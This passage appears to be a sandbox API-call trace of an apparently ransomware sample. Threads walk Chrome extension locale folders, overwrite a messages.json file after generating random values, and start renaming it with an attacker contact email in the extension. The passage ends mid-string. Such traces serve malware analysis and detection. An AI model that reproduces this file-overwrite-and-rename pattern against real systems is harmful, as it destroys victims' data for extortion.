nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da150 [0181.618] wcscmp (_String1=".", _String2=".") returned 0 [0181.618] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x968388 | out: lpFindFileData=0x968388*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.618] wcscmp (_String1="..", _String2=".") returned 1 [0181.618] wcscmp (_String1="..", _String2="..") returned 0 [0181.618] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x968388 | out: lpFindFileData=0x968388*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.618] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.618] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.618] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x8e66e0 [0181.618] wcscpy (in: _Dest=0x8e66e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr" [0181.618] wcscat (in: _Dest=0x8e66e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\" [0181.618] wcscat (in: _Dest=0x8e66e0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\tr\\messages.json" [0185.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e66e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a0 [0185.859] FindNextFileW (in: hFindFile=0x8da150, lpFindFileData=0x968388 | out: lpFindFileData=0x968388*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0185.859] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0185.860] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x968388) returned 1 [0185.860] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d6ae8) returned 1 [0185.860] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c6c790) returned 1 Thread: id = 7362 os_tid = 0x1a2c [0181.184] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0xd4d6c10 [0181.184] wcscpy (in: _Dest=0xd4d6c10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk" [0181.185] wcscat (in: _Dest=0xd4d6c10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\" [0181.185] wcscat (in: _Dest=0xd4d6c10, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*" [0181.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x967c50 [0181.185] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\*", lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942030 [0181.421] wcscmp (_String1=".", _String2=".") returned 0 [0181.421] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.421] wcscmp (_String1="..", _String2=".") returned 1 [0181.421] wcscmp (_String1="..", _String2="..") returned 0 [0181.421] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.421] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.421] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.422] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x99e6a0 [0181.422] wcscpy (in: _Dest=0x99e6a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk" [0181.422] wcscat (in: _Dest=0x99e6a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\" [0181.422] wcscat (in: _Dest=0x99e6a0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" [0182.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x99e6a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0182.053] FindNextFileW (in: hFindFile=0x942030, lpFindFileData=0x967c50 | out: lpFindFileData=0x967c50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0182.053] FindClose (in: hFindFile=0x942030 | out: hFindFile=0x942030) returned 1 [0182.053] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x967c50) returned 1 [0182.053] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d6c10) returned 1 [0182.053] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93d168) returned 1 Thread: id = 7363 os_tid = 0x1a30 [0181.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x118) returned 0xd4d78c8 [0181.185] wcscpy (in: _Dest=0xd4d78c8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur" [0181.185] wcscat (in: _Dest=0xd4d78c8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\" [0181.185] wcscat (in: _Dest=0xd4d78c8, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*" [0181.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x968d28 [0181.185] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\*", lpFindFileData=0x968d28 | out: lpFindFileData=0x968d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9429b0 [0181.638] wcscmp (_String1=".", _String2=".") returned 0 [0181.638] FindNextFileW (in: hFindFile=0x9429b0, lpFindFileData=0x968d28 | out: lpFindFileData=0x968d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.638] wcscmp (_String1="..", _String2=".") returned 1 [0181.638] wcscmp (_String1="..", _String2="..") returned 0 [0181.638] FindNextFileW (in: hFindFile=0x9429b0, lpFindFileData=0x968d28 | out: lpFindFileData=0x968d28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x177, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0181.638] wcscmp (_String1="messages.json", _String2=".") returned 1 [0181.638] wcscmp (_String1="messages.json", _String2="..") returned 1 [0181.638] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x130) returned 0x8e81b0 [0181.639] wcscpy (in: _Dest=0x8e81b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur" [0181.639] wcscat (in: _Dest=0x8e81b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\" [0181.639] wcscat (in: _Dest=0x8e81b0, _Source="messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" [0182.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e81b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1524 [0182.575] FindNextFileW (in: hFindFile=0x9429b0, lpFindFileData=0x968d28 | out: lpFindFileData=0x968d28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x177, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0182.575] FindClose (in: hFindFile=0x9429b0 | out: hFindFile=0x9429b0) returned 1 [0182.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x968d28) returned 1 [0182.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d78c8) returned 1 [0182.575] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93d290) returned 1 Thread: id = 7394 os_tid = 0x1f54 [0181.423] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json")) returned 0x2020 [0181.423] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json", dwFileAttributes=0x20) returned 1 [0186.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ab0 [0186.730] GetFileSizeEx (in: hFile=0x1ab0, lpFileSize=0x397f83c | out: lpFileSize=0x397f83c*=227) returned 1 [0186.730] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5a80 [0186.730] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5878 [0186.730] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5d50 [0186.730] NtQuerySystemTime (in: CurrentTime=0x397f79c | out: CurrentTime=0x397f79c*=132174899613334000) returned 0x0 [0186.730] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x799bfc2d [0186.730] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x5836dd56 [0186.730] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x5d61ed18 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x2b049622 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x6e4c97f0 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x66ec5a24 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x1c7ee17 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x9d9918f [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x70af6048 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x63e91ca4 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x6049a724 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x1b67d92e [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x7b1d25bd [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x4506cff [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x2d411f55 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x9524906 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x28bc8d3a [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x211e5cad [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x753e9bd7 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x4e5ae0d8 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x61a462f2 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x2ff01748 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x72e9a92f [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x34bd703a [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x5e014581 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x60962e29 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x3eaeefba [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x32268db4 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x51d8a865 [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x2398554c [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x5a8168c [0186.731] RtlRandomEx (in: Seed=0x397f7a8 | out: Seed=0x397f7a8) returned 0x19a88656 [0186.744] ReadFile (hFile=0x1ab0, lpBuffer=0x12d608f0, nNumberOfBytesToRead=0xe3, lpNumberOfBytesRead=0x397f798, lpOverlapped=0x0) [0186.745] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.745] WriteFile (in: hFile=0x1ab0, lpBuffer=0x12d6d0f8*, nNumberOfBytesToWrite=0xe3, lpNumberOfBytesWritten=0x397f794, lpOverlapped=0x0 | out: lpBuffer=0x12d6d0f8*, lpNumberOfBytesWritten=0x397f794*=0xe3, lpOverlapped=0x0) returned 1 [0188.799] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5b20 [0188.799] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58c8 [0188.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58c8) returned 1 [0188.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d6d0f8) returned 1 [0188.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d608f0) returned 1 [0188.806] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93bf90) returned 1 [0188.806] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2620) returned 1 [0188.806] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f7020 [0188.806] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.806] WriteFile (in: hFile=0x1ab0, lpBuffer=0x12cf5db0*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x397f7fc, lpOverlapped=0x0 | out: lpBuffer=0x12cf5db0*, lpNumberOfBytesWritten=0x397f7fc*=0x10b, lpOverlapped=0x0) returned 1 [0188.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5db0) returned 1 [0188.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fa0) returned 1 [0188.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c58c8) returned 1 [0188.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7020) returned 1 [0188.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5b20) returned 1 [0188.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5878) returned 1 [0188.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5f08) returned 1 [0188.876] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e68) returned 1 [0188.877] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x932de8 [0188.877] wcscpy (in: _Dest=0x932de8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" [0188.877] wcscat (in: _Dest=0x932de8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 